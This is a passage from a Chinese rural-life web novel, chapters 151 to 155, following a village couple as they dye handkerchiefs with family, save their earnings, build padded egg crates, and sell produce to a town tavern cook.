刚到院门口,就看见里头好几个人,他笑着喊道:“阿奶,大伯娘二伯娘三伯娘,嫂子,都在呢。” “刚还说你怎么没来,它俩就进了门。”张春花说道,她从盆里捞出涮了一遍水的落葵子,这东西长在藤蔓上,免不了沾点灰土,还是稍微弄干净点再去熬煮。 顾兰时走近把篮子里的落葵子倒进盆里,同大嫂一起搅一搅水,没两下就把落葵子捞出来,放在旁边的竹匾上。 苗秋莲和方红花婆媳几个热热闹闹说闲话,花惜霜从屋里出来,拿了板凳过来让顾兰时坐下,她衣裳穿得厚,在太阳底下坐一会儿出汗了,偏肉的脸蛋红扑扑的,刚才进屋减了里头的一件衣裳。 顾兰时捞一把落葵子,转头看了看大黑它们,倒是挺乖的,互相嗅闻,没有咬架的迹象,尤其大黑,自己找了片阴凉趴下。 因大黑对外人凶狠,刚才进门时他还有点怕跟二黑起冲突,这么看还是很稳重的,比灰灰灰仔两个强。 竹哥儿提着茶壶给众人碗里添了茶水,随后蹭到顾兰时身边挨着坐下,即便在一个村子住,忙碌的时候多,很少有像今天这样的闲情逸致,他俩从小一起长大,比起家里其他人,显然更黏顾兰时一点。 院里欢声笑语传出去,有其他人路过门前,都忍不住转头张望一下,和苗秋莲他们对上视线后,院里院外总要高声聊几句。 张春花懂熬染料,端起竹匾往灶房走,顾兰时和花惜霜给她打下手,竹哥儿也跟着进去凑热闹。 村里消息传得快,隔壁刘桂花知道要染布,没一会儿喜滋滋带着儿媳妇进门,两家关系好,苗秋莲连忙招呼她拿块手帕,一起染着玩玩。 落葵子又不值钱,自家摘的,等熬煮好深紫色的染水后,院里又来了几个人,都是平时跟苗秋莲关系好的,还有顾兰时两个堂嫂。 大伙儿带的都是棉布手帕,也有拿麻布手帕的,想试试看麻布染出来的怎么样。 浸泡上色需得一阵,各人记下自己的帕子后,家里太忙的就先回去了,苗秋莲和婆婆妯娌几个依旧坐在院里闲聊逗乐,在笑声中,太阳不知不觉就到了头顶。 顾兰时和张春花捞起盆里的手帕,紫色的帕子晕染均匀,果然漂亮,他俩抓一把出来拧干,先搭在院里的木架上。 已经晌午了,顾兰时从木架上找到自己的三块手帕,笑着说:“娘,我回去做饭了,阿奶,大娘二娘三娘,你们在,我先走了。” “好好,快去,做饭要紧。”方红花几个忙不迭说道。 顾兰时带着三块紫色手帕兴高采烈往外走,都不用喊,大黑几个摇着尾巴跟上了他。 看见炊烟飘了起来,进门后他一边走一边问道:“裴厌,在做饭?” 灶房里传来咚咚咚的声响,裴厌停下手里的活,抬头看向窗外,笑着说:“锅里下了米,先烧着,待着没事,干脆把菜切了,等会儿炒也方便。” “看。”顾兰时捏住一张帕子的两角,展开给他看,笑眯眯说:“好看吧。” “好看。”裴厌毫不犹豫答道,确实比素色的手帕漂亮。 顾兰时显然很欢喜,走到木架前搭好,说道:“今天太阳好,帕子小,估计到下午就晒干了,干了以后颜色可能会浅一点。” 见他高兴,裴厌眼里也染上一点笑意,说:“浅紫也好看。” 第152章 吃过饭,顾兰时洗了碗进屋打算睡一会儿,就看见裴厌坐在炕边倒钱袋里的钱。 “都拿出来了?”他顺嘴问道:“怎么想起数钱了。” 裴厌把空了的钱袋放在一旁,抬头看着他笑一下,说:“没什么事,这小半个月卖鸡蛋,到手的都是铜板,加上之前的,想看看一共攒了多少。” 卖菜卖鸡蛋都是小本生意,只有上回给酒馆送鸡蛋给的碎银子,其他都是铜板。 顾兰时在炕边坐下,见他把所有碎银子倒出,用手拢成一堆捧起来,笑眯眯说:“这些一直没动过,还是那二十两。” 去年冬天时,他俩攒下不动的家底是七两三钱,抓蛇换得十六两八钱,一共是二十四两一钱,零散铜板较少,就没算进去。 今年夏天开始卖菜,又卖蝎子和便宜药材什么的,挣钱大头自然在蝎子上,得了将近四两。 春天那会儿打井就花了三两,还有给风水先生的三钱,做两把摇椅四钱,夏天挣的,恰好把这几样大的开销平了。 为攒下钱,他俩把二十两碎银装进一个钱袋里,从来都不动用,剩下那四两一钱,原本在乡下就够花许久。 手里有钱后,他俩吃肉也不拘束,再加上过年,还有这大半年别的花销用度,杂七杂八使下来,也去了一半。 至于今年入秋后卖菜挣的钱,还有裴厌闲时去做一两天工,倒是攒了些铜板。 “嗯,刚才掏钱袋,顺手带了出来。”裴厌把整串的钱放在一边,一百文一串,共有两串。 顾兰时从针线篮子里拿出麻绳团,剪了几条,高高兴兴和裴厌一起穿钱数钱,剩下这堆铜板,是卖鸡蛋的钱。 比起菜蔬,还是鸡蛋金贵。 顾兰时把串好的整钱归拢到一起,笑道:“六串,这下有八串了,再攒二百文,就够一两了。” 最后剩下五十几枚铜板,裴厌用荷包装起来,塞到炕褥底下,用作平时买豆腐买肉之类的花销。 “嗯。”裴厌点点头,一边把整钱往钱袋里装,一边在心里思索,二十两的整钱一点都不能动。 而这八百个铜板,想买个好看点的首饰,大概在一两左右,还差一些。 可这八百文过了明路,顾兰时又想把这些钱都攒起来,他不好说想拿去买东西,只能暂时搁置,回头再另想法子。 * 下午饭吃得早,喂完禽畜牲口以后,顾兰时在外面大菜地看一圈,杂草之前拔过,现在地里即便有,不过是零星细苗。 他站在院门外,一手摸着灰仔脑袋,见裴厌在收拾外面的柴火堆,问道:“裴厌,去不去地里?” 灰灰正趴在菜地田垄上啃春菜叶子,见状跑过来,直接挤走灰仔,把脑袋往他手里送,咧着嘴巴像是在笑,尾巴在身后摇个不停。 家里的狗有时会吃地里菜,只要不是大片咬坏糟蹋,啃一两个他俩都不怎么打骂了。 他俩要是不在家,狗饿了就去吃菜,这几个还算聪明,知道会挨打,一般只逮着一棵菜啃。 大黑原本趴在堂屋屋檐下,它爬起来张大嘴巴打哈欠,随后小跑着出来,直接用脑袋蹭顾兰时小腿,身后的尾巴像是在摇,又像是在用尾巴抽灰灰和灰仔,不过那两只也是皮糙肉厚,一看就没抽疼。 “去。”裴厌两手抱起一小堆劈好的木头,说完就往柴房走,把这些整齐垒好,这才拍打着身上木屑往外走。 “外门钥匙在我怀里,不用取了,转转就回来。”顾兰时被三只大狗绊得,不再摸它们,转身往外走。 裴厌把院门关好没有上锁,太阳都晚了,去地里不过瞅一眼,不用都锁上。 让大黑几个留下看家,顾兰时把篱笆门锁好,两人一起往村子那边走。 路过顾家时,见院门开着,他俩在门前停下,苗秋莲正在院里收晒干的衣裳。 “娘,手帕干了?”顾兰时问道。 苗秋莲抱着衣裳,闻言笑着说:“干了干了,这不是。” 她腾出一只手从怀里掏出浅紫色的棉布手帕,又说:“颜色浅了,但也亮呢,竹哥儿爱得什么似的,这不和霜儿在屋里绣花呢。” 顾兰时笑一下,说道:“他从小就爱这些鲜亮的,今儿最趁他的意。” “可不是。”苗秋莲把手帕塞回怀里,抱着衣裳问道:“和姑爷上哪里去?” “岳母,我俩去地里转转。”裴厌答道。 “好好,你俩去。”苗秋莲说完,她抱衣裳不方便多聊,转身先往屋里走。 下午饭时前后,村里人大都回来了,往村外走的一路上,他俩和不少人都闲聊了两句。 还没到祖宅,方红花拎了个板凳出来了,看样子是想坐在院门口跟人说闲话。 “阿奶。”顾兰时高声喊道。 “哎呦。”方红花一下子眉开眼笑,乐得脸上褶皱都多了,笑着朝他俩招手:“来。” 一看这模样,顾兰时和裴厌都知道她有东西想给,两人都没客气,跟着一起进门。 院里,何水儿正压着儿子脑袋给洗脸,一边洗一边骂骂咧咧的,这臭小子,溜出去玩,弄得跟个土贼一样。 “嫂子。”顾兰时笑着看向衣服上有不少土的侄儿。 “嗐,这死小子,一天到晚不学好,尽给我找麻烦。”何水儿依旧生气,给了儿子脊背一巴掌。 方红花早见惯了,管教孩子时她从不插手,径直进了屋。 顾兰时和裴厌见何水儿一直在骂,也没多说话。 方红花开了柜锁,从里头拿出一个八宝纹攒盒,放在桌上打开,说:“你姑妈前天来了,你俩不在,这是她带来的,拿着去吃。” 攒盒一打开,里头有九个隔开的小攒盘,中间最大,一圈围了八个攒盘。 这东西顾兰时爹娘也有,过年时才拿出来用,攒盒无论盖子还是盛盘,外头都有花纹,纹路颜色各不相同,乡下讲究些的人家会买一个,逢年过节时来客人,用这东西放些干果蜜饯什么的,十分体面漂亮。 见有桃脯,顾兰时捏了几个,站在桌前和裴厌直接分着吃了。 方红花探头看一眼门窗,窗户关着,房门虽然开着,但堂屋没人,她想了一下,还是走过去轻轻掩上门。 裴厌目光落在攒盒上,一副若有所思的模样。 “还有呢。”方红花悄悄说一句,走到柜子前从里头掏出一个油纸包,打开后声音依旧很小,说:“金丝蜜枣,就这么一包,你俩快尝尝,可甜了,连枣核都去掉了。” 顾兰时这才知道她为什么如此小心,金丝蜜枣在一众蜜饯果脯里还是偏贵的。 他笑着拿了两个蜜枣,自己把一个塞进嘴里,另一个递给裴厌。 金丝蜜枣又软又甜,还没有枣核,一口一个吃起来挺痛快。 方红花见他俩吃的香甜,自己也捏了一个吃,随后又让他俩再拿一个,这才把油纸包起来,重新放回柜子最里头。 “拿着。”她抓一小把杏脯塞进顾兰时手中,这会儿才想起来,问道:“你俩做什么去?” “上地里转转,再有几天,也该割稻谷了。”顾兰时笑道,给裴厌分了一点杏脯。 方红花又抓一小把杏脯,盖上攒盒放回柜子锁好,三人一同往外走。 “猴崽子,人家都没往土里钻,就你爱现眼,以为自己多能耐……”何水儿给儿子脱了外衣,口中还在不断数落,不给换衣裳又不行,脏成这样再跑出去,叫人看见,她脸上都过不去。 “小毛儿,听你娘的话不?”方红花手背在后面,弯腰问曾孙。 小毛儿挺倔,挨了打嘴撅的老高,眼泪都快下来了,但就是忍着一声不吭,扭着脖子看旁边。 何水儿见状又来了气,骂道:“作死的,姥儿问你话,你当听不见?” 方红花劝了两句:“行了,打也打过骂也骂过,少说两句,小毛儿,来。” 小毛儿吸一下鼻子,跟着太奶去了一旁。 方红花拉着他的手,分了一半杏脯,又问道:“还听你娘的话不?” 小毛儿一下子破涕为笑,捏起一块杏脯往嘴里塞,点着脑袋说:“听。” “这不就行了,以后少去跟那些野小子挖土洞,不然我也要打你。”方红花吓唬道。 “知道了姥儿。”小毛儿兴高采烈的,到底年纪小,才六岁,有好吃的就能哄下。 “没出息。”何水儿把他脏衣裳丢在木盆里,无奈又骂了一句。 “阿奶,嫂子,我俩先走了,趁太阳没落山,去地里转转。”顾兰时笑着说。 “好好。”方红花答应着,跟他俩一起往门外走,坐在椅子上闲吃杏脯。 小毛儿挨了骂,不往他娘跟前凑,坐在门前石头上和太奶一起吃东西,隔壁家跟他差不多年纪的石蛋跑过来,眼巴巴瞅着他流口水。 杏脯是外头买的,平时他娘还不给买呢,小毛儿才不舍得分别人,转过身不看石蛋。 还是方红花给流口水的石蛋分了两个。 * 稻谷还得十天左右才能割,顾兰时和裴厌在这边转转,又上旱田那边看了看柴豆。 拔豆杆比割稻更晚点,今年夏天有点涝,看着不如去年好。 晚霞在天边如火如画,两人顺着河道往家走,没有走村子里边。 顾兰时想起什么,笑说道:“刚才见你看攒盒,是有想吃的?过几天不是要去镇上,买一点好了。” 方红花上了年纪,不像他俩还挣钱,因此平时在祖宅吃点零嘴,他俩都不会多拿。 裴厌视线从晚霞收回,笑了一下,说:“不是,我是看见攒盒,想起咱们的蛋筐,这几天我一直在琢磨这个,要是把筐子一层层分开,像小攒盘那样,每个格子里只放一个鸡蛋,周围垫厚实,拉去镇上更方便些。” 原来是这样,顾兰时顺着他的话想了一下,说道:“好像真的不错,就算这样每一筐装的鸡蛋会少一些,只要路上磕碰不多,倒也划算。” 裴厌点头道:“嗯,正是这样,不过还得明天找个空子,看看到底怎么弄。” 第153章 清早,吃过早食后,顾兰时在菜地拔杂草,裴厌在院里锯木头,听到后院猪叫,他放下锯子,提起两个木桶往后院走。 木桶里是煮好的猪食,已经温凉了。 有两头猪还没睡醒,不过听见倒食的声音,立即就爬了起来,一边哼叫一边往快速往食槽走。 裴厌倒完猪食后,站在猪圈外看了一会儿。 一进冬天,肉好存放,杀猪吃肉的多,镇上肉铺生意好,快到年节时更红火,乡下不少人都会赶肥猪去镇上猪市卖。 今年养的猪多,除了老母猪以外,余下六头都是要卖要杀的,打草挖野菜辛苦了些,但看着这几头长这么肥,还是值得的。 一头大猪怎么也能卖二两银子左右,最少也不会低于一两五钱。 不是没想过出去做工或弄点别的东西倒腾挣钱,可自从成亲后,每回出去挣到钱,回来总会如数交给顾兰时,不给完全说不过去。 自己私藏一点慢慢攒的话,他实在没想到哪里可以藏钱,衣裳换洗都是顾兰时在忙,家里炕就那么大,藏在炕褥底下很容易被发现。 以前藏钱的地方在砖头底下,还得搬开桌子,动静一大,哪能不引来注意,况且他不愿意背着顾兰时藏钱。 见过不少为私房钱吵架打架的人,何必为了这点小心思,让两人之间产生不好的苗头。 裴厌拎起地上的空桶,转身往前院走,入冬后猪肉生意好,到时候拉去一头卖掉,买首饰的钱不就有了。 这么一想,他心中再无纠结苦恼,眉头也舒展开来。 * 河边。 板车停在平坦处,已经割了一车草,垒得高高的。 割完手下的草,顾兰时直起腰,抬胳膊用袖子擦擦脸上汗,见裴厌身后的地方已经有不少草,他放下镰刀,把这些草拢到一起,抱着放在板车最上面,又用力压一压。 “够多了,下午再来割,回去吃饭歇歇。”他转头对不远处的裴厌说道。 “好。”裴厌答应着,把他身前能看到的婆婆丁都连根拔出来,这才罢休。 今天顺着河岸走得远,河岸又没有正经道路,怕路上野草野菜遗失,他俩用麻绳连车带草捆好,这才卸了支撑车辕的两根木头,一个在前面拉车,另一个在后面推车,沿着来时路往家里走。 这些回去了都要摊开晒干,用作牲口冬天的口粮,已经是第二车了。 清早太冷,又有露水,他俩辰时中才出门,忙忙碌碌,这会儿也到饭点了。 进门后,依旧有的忙,裴厌把板车推到谷场那边,把车上的麻绳解了,斜架起板车,把一车草倒在场上,随后拿了木叉挑开铺平。 顾兰时径直进了灶房,烧水切菜热包子,咚咚咚一阵响。 吃过饭后,日头不像夏天那么长了,两人没有去睡觉。 顾兰时抱了柴火进灶房烧水,攒了几件衣裳该洗了。 他本想去河边洗,但裴厌说河水冰凉,让在家里烧水,掺温了再洗。 听见外头动静,他往灶底添了几根柴火,出来就看见裴厌坐在横倒的木头上摆弄竹筐,脚边还放了一些竹片。 “你在做什么?”顾兰时蹲在旁边问道。 裴厌笑了下,看看竹筐又拿起一个竹片,说:“昨天不是想折腾折腾蛋筐,上次去镇上,咱俩用短的稻草隔开鸡蛋,筐里长长短短一大堆稻草混在一起,想掏底下的鸡蛋,还得先把这些扒拉出来,要是能把短的干草粘在一起,就不会零碎混在一起了,利索又方便。” 蹲久了腿麻,顾兰时从柴堆那边拿了根木头坐下,闻言点头道:“还真是,剪碎的稻草带回来只能当柴火烧,每次去镇上都得重新剪一些。” 不是他舍不得这一点干稻草,后院七头猪呢,过段时日没了鲜草,无论干草还是稻杆麦秸,都是它们的口粮,今年头一回养这么多,草料肯定是越多越好,省得饿瘦了猪卖不上价钱。 他想了一下,说:“那试试用浆糊粘?” 裴厌昨天见了攒盒,只知道要把鸡蛋一枚一枚隔开,这样就不会碰撞,具体怎么弄,确实还没想好,于是应声道:“好,试试。” 正好在烧水,顾兰时一会儿进灶房添柴,一会儿又出来和裴厌商量怎么弄蛋筐,等浆糊搅好后,两人着手把剪短的稻草往竹片上粘。 竹片上抹了浆糊,一层稻草粘住了,但再往上放稻草,就有点粘不住,只能再糊点浆糊。 不止裴厌,顾兰时也看出这样还是容易掉,摇头说道:“不行。” 裴厌想了一下,说:“要不用细绳,把稻草绑在竹片上,多缠几圈。” 顾兰时一拍手,笑道:“这个好,我去拿。” 纳鞋底的麻线细又韧,用这个正好,他进窝从针线篮子里翻出麻线团,又拿了剪子,兴冲冲到院里和裴厌一起鼓捣。 麻线果然好用,厚厚的稻草直接缠在上面,多缠两圈绷紧,根本不怕稻草掉下来。 顾兰时一拍裴厌大腿,说:“真是的,刚才怎么没想到,如此简单,竟然用浆糊乱糊。” 大腿被拍,声音听着响亮,倒是不痛,裴厌露出个笑,说:“确实是糊涂了。” “给竹片缠上稻草以后呢,还打算怎么弄?”顾兰时自觉下手重了,又帮他揉了两下大腿面。 裴厌沉吟一下,说道:“要想一层一层区分开,得有个托底,然后再把竹片像攒盒那样,想法子嵌在托底上,就有分隔了。” “托底?”顾兰时想了一下,开口道:“那得弄结实点,也不能太硬。” 裴厌点点头:“嗯,木板竹板什么的估计就行,到时候也缠上一层干草。” 顾兰时拿起缠好的竹片用手比了比厚度,说:“又是竹片竹板,又是稻草的,一层估计就挺厚了。” 裴厌把空竹筐拉过来,伸手比划了几下,说道:“一个筐子估计能弄四层左右,每一层鸡蛋也会少装几个,我先找块木板来试试,把最底下的一层弄出来。” “好。”顾兰时站起身,转头从灶房门口看进去,说道:“水开了,我去舀水洗衣裳。” “嗯。”裴厌在柴房里头翻找一阵,倒是有两块合适的木板,不过和竹筐有点不适配,放不到筐底,他又是用锯子锯又是用刀削。 顾兰时在灶房旁边洗衣裳,两人一边闲聊商量一边干活,手上都没停。 木板削好后,裴厌把板子放进竹筐。 家里的竹筐都是上大下小,木板和筐底之间有一点缝隙,这样正好,方便抠拿出来。 他又把木板拿出来,用竹片在上面比划,看能隔出几个格子。 刚才不止把稻草剪短了,竹片也是剪了一段,正好能做一个隔档,只是这样一片一片,不好粘在一起,弄成格子状。 裴厌又抓起一个长竹片,看了半天后灵感突现,他拿剪子用力把竹片剪开,但没有完全剪断,留了一点连接,然后拿起另一个竹片,一个横着一个竖着,把剪开的口往另一个竹片上插下。 顾兰时搓洗衣裳,一抬头就看见他在摆弄这个,说:“这样正好,就不用想法子粘了。” 裴厌笑道:“嗯,也是刚想到的,还是这样好弄,先把格子弄出来,再绑上稻草,直接放在木板上就行,应该不会轻易变形。” 有了思路,后面就好办了。 竹片剪子剪不开的时候,他就用刀割出口子,竹片的长短也都在木板上比好了。 这不是什么太精细的活儿,等顾兰时洗完衣裳,横竖分明的竹片格子也做出来了,一共十二格。 裴厌从灶房的蛋篮子里摸了两个鸡蛋出来,把木板放在地上,竹片格子搁在上面,再把鸡蛋放进去。 见大小还可以,他开口道:“十二个格子差不多了,还要缠一层厚稻草,都缠上以后再看看。” 顾兰时晾好衣裳倒了水过来,擦干手帮忙把稻草剪短。 狗不时过来蹭蹭他俩,见没人搭理,灰灰和灰仔就在前头大菜地里撒欢奔跑,也不知道它俩一天天都在兴奋什么。 大黑趴在有太阳的地方,晒久了觉得热,又找了片阴凉趴下假寐。 顾兰时把手里的长稻草理顺,比着木板的长度剪掉一小截,然后在木板上铺平,铺满以后用麻线横着缠起来,弄紧实以后,先放在地方。 竹片格子缠的都是短稻草,比较细致,裴厌全部缠好以后,直接放在木板上。 顾兰时把两个鸡蛋塞进中间两个格子,格子四个面有稻草垫着,底下的木板上也有稻草。 一个格子略紧了点,但鸡蛋正好塞进去,不会乱滚,另一个格子稻草没有那么厚,略宽松点,不过只放一个鸡蛋,没有能相撞的硬物。 他抬头笑着说:“正好” 裴厌同样高兴,伸手试着动了动竹片格子,虽然横竖相交,但格子最外面一圈是开口的,只有放进竹筐以后才会有阻挡,他说道:“这么放着,还是有点松动。” 顾兰时看一眼,说:“这也不难,用锥子在竹片上扎几个洞,再用麻线穿进去,横竖之间相互绑紧,应该就不会松动变形了。” 裴厌眼睛一亮:“是个办法。” 说干就干,顾兰时进屋拿了平时他纳鞋底用的锥子,扎竹片不比鞋底,裴厌没让他动手,自己使锥子扎洞。 这活儿说快也快不了,等绑好后,把木板还有竹片格子逐次放进筐底,连鸡蛋也塞进格子里,看着这些,一股成就感油然而生。 “咱俩可真聪明!”顾兰时骄傲道。 裴厌笑容不减,顺着他的话说:“是聪明。” 第154章 平时用来背鸡蛋的这个筐子大,把筐底的木板和竹片格子取出来后,顾兰时用手量了量这两样放在一起的厚度。 又用这个厚度在竹筐外面一比,说:“应该能放五层。” “足够了,四层五层都行,只要鸡蛋不磕碰。”裴厌正在削另一块木板,这块板子木料不同,有点厚也比较沉,不止要按竹筐的大小削砍,为背起来轻一点,还得削薄一些。 做托底的板子和竹片格子不用嵌合在一起,因此木板只要完整平滑,把这几层分隔开就好。 “只有两个木板?”顾兰时问道。 因为手上在用刀,裴厌没有抬头分神,说:“嗯,只找到这两个,柴房再没有了,别的地方应该也不会放板子,实在不行,我上徐木头家看看,他是木匠,家里应该有些边角料,花点小钱的事。” 顾兰时沉吟一下,边想边说:“用篾片编?跟竹席一样,编几个小的,是不是比木板轻些。” 裴厌手一顿,抬眸看向坐在对面的人,笑道:“果然聪明,篾片编出来,还不用再削薄。” 他想了一下,又说:“就是比起木板,席片软,要是下面一层不平坦,说不定会倾斜变形,得想法儿跟竹片格子嵌合在一起。” 顾兰时觉得言之有理,家里用的大竹席卷起来后就是易变形,放平后还得拿砖头压一压四个角,不然边角就翘起来了。 他点点头:“这样的话,确实不如木板好使。” 裴厌没有出声,看着刚才弄好的竹片格子思索,随后把手里正在削的木板搁上去。 竹片格子两面都缠着稻草,人力所为,并非薄厚都一致,木板又是他用刀削的,坑坑洼洼,不如木匠刨出来的板子平整,放上去后明显没那么稳。 顾兰时和他一起盯着看,说:“竹筐底是平的,刚才那块板子也平整,所以放进去稳当,不过要是第二层的木板子平整,应该是行的。” “嗯。”裴厌点头赞同,托底用的木板有些微晃动应该不打紧,他把刀放在一旁,不再乱削。 又说:“要是编篾片,用浆糊的话,不知道能不能粘牢,扎几个洞绑起来说不定可行,只要底下一直能托着鸡蛋就好。” 头回搞这个,眼下有点两难,他俩都低头琢磨了一阵,最后裴厌笑着说:“无论木板还是篾片,都试一试,看哪个更好点。” 确实是这个道理,想来想去而不做是不成事的,顾兰时说:“行,反正这会儿没事,我先用篾片编一个。” 裴厌跟着他一同起身,太阳晒得有点热了,他把所有东西拿进堂屋,说道:“这样,我去找徐木头,看他那里有没有刨好的木板,给点钱,回来按竹筐大小锯,总比削出来的平整。” “那你去。”顾兰时身上没揣荷包,又说道:“钱都在屋里。” “嗯。”裴厌答应一声,进屋拿了钱后就出门了。 * 徐木头手巧,又常和木头打交道,一听裴厌来意,他在木板堆里翻了又翻,找出几块合适的,顺手就给刨薄了些。 见板子薄又平整,又是较轻的木料,用来做鸡蛋托底正合适,裴厌很满意,掏出荷包就要给钱。 “嗐,给什么钱,乡里乡亲的,这又不值钱,拿去便是。”徐木头推辞道。 裴厌见那几块木板都是宽长足够的,一看就是从整根大木头刨解而来,并非边角料拼凑而成,就算是徐木头自己上山砍的树,也费了不少力气。 于是他说道:“都是好板子,哪能不值钱,我是来买板子的,徐叔你不说个数,我也就不要了。” “你,这……”徐木头本是畏惧他,不敢轻易得罪,想卖个好,这木料是他从别人手里收来的,确实花了点钱,随后嘿嘿干笑一下,说:“就三块板子,不算大,还薄,给二十文就行了。” 有个数目好办多了,而且一听就给算便宜了,裴厌没有还价,从荷包里取了二十个铜板给徐木头,这才道一声,拿了三块木板走。 他走之后,徐木头挠挠头,把手中二十个铜板揣进怀里。 东屋原本关上的窗子被小心打开,他夫郎何小芝小声问道:“走了?” 徐木头点头道:“走了。” 何小芝这才从屋里出来,看一眼徐木头,只伸出手没说话。 “嘿嘿。”徐木头笑一声,又从怀里把那二十文掏出来,递过去,状似感慨道:“都说是个活阎王,我看倒是个讲理的活阎王,比那些混子无赖强多了。” 何小芝数了数掌中的铜板,他在屋子里躲着,但不是耳背,自然能听见,二十文钱不多不少正好,这才抬头瞪一眼徐木头,说:“人家是正经过日子的人,自然比外头那些强。” 徐木头又说:“上回打井,还有做摇椅,给钱比许多人都痛快,直接就结清了,原先你还操心人家会不会赖账,还说什么真赖了账,都没人敢去讨要,如今看呐,脾气是硬了点,理,人家还是讲的。” “就你话多!”何小芝瞪他一眼,拿了钱进屋去放,再没说别的。 徐木头松一口气,好歹把自己揣钱那事儿遮掩过去了,其实他心里知道这钱最后肯定会被要走,没忍住罢了。 * 做鸡蛋格子难是不难,只是费功夫,近来每天都要大量割草打草,顾兰时和裴厌只能捡着晌午吃过饭后干一会儿,有时晚饭吃得早,天色还亮,也会在院里捆捆扎扎鼓捣一阵子。 等到了给酒馆送鸡蛋送菜的日子,正好弄了三个蛋筐出来。 傍晚,两人没有去打草,坐在院子里放鸡蛋。 最近天好,除了早晚稍冷些,还算秋高气爽正合适,五十四只母鸡,每天少说也能收三四十只鸡蛋,这五天攒下了两百枚左右。 以前顾兰时每天收了几个鸡蛋还会记数,近来已经不数了。 每一层格子有数,最底下和第二层都能放十二个鸡蛋,第三层第四层能放十六个,随着往上,筐口处更宽大,最上面一层做的鸡蛋格子有二十个。 因此一个蛋筐能放七十六个鸡蛋,这是大的筐子,有两个,分别是五层。 还有一个四层的偏小筐子,每一层都是十二个格子,一筐能装四十八枚鸡蛋。 把这三个竹筐装满,不多不少,正好是二百个鸡蛋。 装完之后,顾兰时抬头说道:“鸭蛋要不要带上?每天少了都有三四枚,上回腌的咸鸭蛋还没吃完呢,这十来天又攒下四五十枚,是腌成咸蛋去卖,还是鲜蛋去卖?” 裴厌想了一下,说:“这时候腌咸蛋的话,正好冬天能吃,蛋筐已经满了,再装不下,不如留着,回头攒多了,用大缸来腌,入冬后留够自己吃的,余下的拿去卖。” “好。”顾兰时点点头,咸鸭蛋虽然要用盐巴来腌,但价钱好的时候,一枚能值七八文,甚至更多,盐钱回本是没问题的,还能小赚一点。 冬天除了菘菜萝卜以外,也就这些腌菜和菜干子能吃了。 竹筐装满后,平时放鸡蛋的篮子里还剩下十几枚,不止这些,灶房还有个蛋筐装了小半筐。 顾兰时小心提起竹篮,说:“蛋筐搬进堂屋,夜里有露水。” “嗯,我知道。”裴厌答应道,抱起一个蛋筐,稳稳当当往堂屋走。 菜蔬明天凌晨起来再摘,不然放一晚就蔫了,不够新鲜。 太阳一落山,天很快擦黑,盥洗过后,顾兰时上了炕,没一会儿倒了洗脚水的裴厌也进来。 房门吱呀关好,又上了门闩,裴厌坐在炕边,双脚互相一蹬,鞋子就脱了下来,他一边脱衣裳一边说:“明天我想去趟舅舅家。” 顾兰时已经钻进被窝,闻言看向他,问道:“怎么想起这个?” 裴厌将解下来的汗巾叠了两叠放在枕边,说:“好几天了,舅舅那边没消息,光在家里等不像回事,叫人知道了,只会觉得咱俩自己都不上心,只等舅舅给帮忙,明天正好去镇上,我买两坛好酒,再买些肉,提着东西顺道去舅舅家问问。” 一听有道理,顾兰时开口:“是该这样,咱俩明天一起去。” “好。”裴厌脱完衣裳,露出精瘦的上半身,肌肉匀称结实,除了亵裤以外,再无别的布料。 胸膛不说,腹部的八块肌肉属实漂亮精壮,不过顾兰时早已见惯,这会儿脑子里只有明天去卖菜卖鸡蛋的事。 他想起什么,说道:“还记得上回买鸡蛋的那个婆婆,就嘴里一直唠叨说家里小姐少爷的,明天咱俩过去转转,那边的院子都大,住的人家好像也都是富裕之家。” “嗯。”裴厌应一声。 外头天黑了,困意袭来,顾兰时打了个哈欠就要闭眼睡觉,不想被窝里一只手摸过来。 “明儿要早起。”他伸手挡了一下。 “我知道。”裴厌声音低沉。 小半个时辰后,屋里的动静才停歇,同上次相比,确实克制了许多。 * 云朵飘来,月亮被遮住,光芒黯淡了些许。 过了一会儿,云飘走了,月色又重新亮起来。 大菜地里,裴厌独自在摘茄子,顾兰时睡得较沉,他穿衣时动作很轻,没有打搅。 年轻力壮的汉子,精神头最足,即便昨晚睡得迟了一点,但对他来说,每每行房过后,总是最高兴的,不止精神奕奕,心情也十分舒畅。 就是最近太忙,顾兰时白天干活累了,有点吃不消,家里只有他们两个人,活是停不下来的,只能等入冬后多歇歇了。 第155章 一大清早,宁水镇从沉睡中苏醒,随着房门院门打开的吱呀声,房里院里都有人低声说话。 天色亮了以后,不知不觉间,各种动静都响了起来,公鸡打鸣狗汪汪叫,孩子哭大人骂,案台咚咚响,早食炊烟随风飘散,外头大街小巷吆喝声此起彼伏,一天的喧嚣又开始了。 同春酒馆后门,蒋厨子正在买菜买鸡蛋,说道:“要是你们天天来卖菜,我也省脚力。” 裴厌脸上挂着淡淡笑意,说:“家离得远,菜瓜倒是两三天就能来一趟,可惜这几天忙,就想着等鸡蛋攒多再来。” 听他这么说,蒋厨子问道:“家住何处?” 裴厌把车上一筐葫芦瓜提下来,开口道:“小河村。” 蒋厨子点点头“确实远了点,在山脚那边,我年少时贪玩,娘舅家以前是干收东西的,去你们小河村收山货,我也曾跟着去过一趟。” 他想起什么,停下挑菜的手,看向裴厌说:“这入秋了,你们弄山货没?像什么核桃、毛栗子,还有松果榛子,山里可都是好东西,山鸡野兔,菌菇药材,能吃又能卖,要是遇到什么山珍奇货,一辈子都不愁了。” 裴厌开口道:“前两天上山捡了些核桃还有毛栗子,松塔子不好捡,菌子干倒是有,野味最近没去打,蒋大哥,馆子里也收这些?” “你会打野味?”刚才不过是随口一提,蒋厨子上下打量他几眼,有点惊奇却又觉得理所应当,长得这么高,长胳膊长腿的,再加上脸上那条长疤,看着确实不是一般人。 裴厌笑一下,说:“会用弹弓,偶尔能打到一只。” 蒋厨子琢磨了一下,笑道:“这么着,下回你来送菜之前,要是能打到野兔子,我这里收,价钱保管不会压低。” “行,我记下了,只要兔子?要是进山碰到野鸡的话,馆子里收不收?”裴厌问道。 蒋厨子说:“这不入秋了,野兔子肥,稀罕呢,我后院倒是养了几只活鸡,不过你要是打到了野鸡,也拿过来我看看,有的人就好山里那一口。” “成。”裴厌答应道。 蒋厨子看一眼筐子里的豇豆,一边从手边的竹筐拿茄子,一边说:“豇豆给我称二十斤,葫芦瓜都是早起现摘的?” 裴厌笑着说:“自然是现摘的。” “好,这一筐我都要了,算便宜些?”蒋厨子把拿出来的六根紫茄暂时放在板车边沿。 裴厌很痛快,说:“葫芦和豇豆市价都是一斤五文,算四文,茄子也少一文。” 菜蔬本就是小本买卖,让价太多的话根本挣不到什么,蒋厨子也懂。 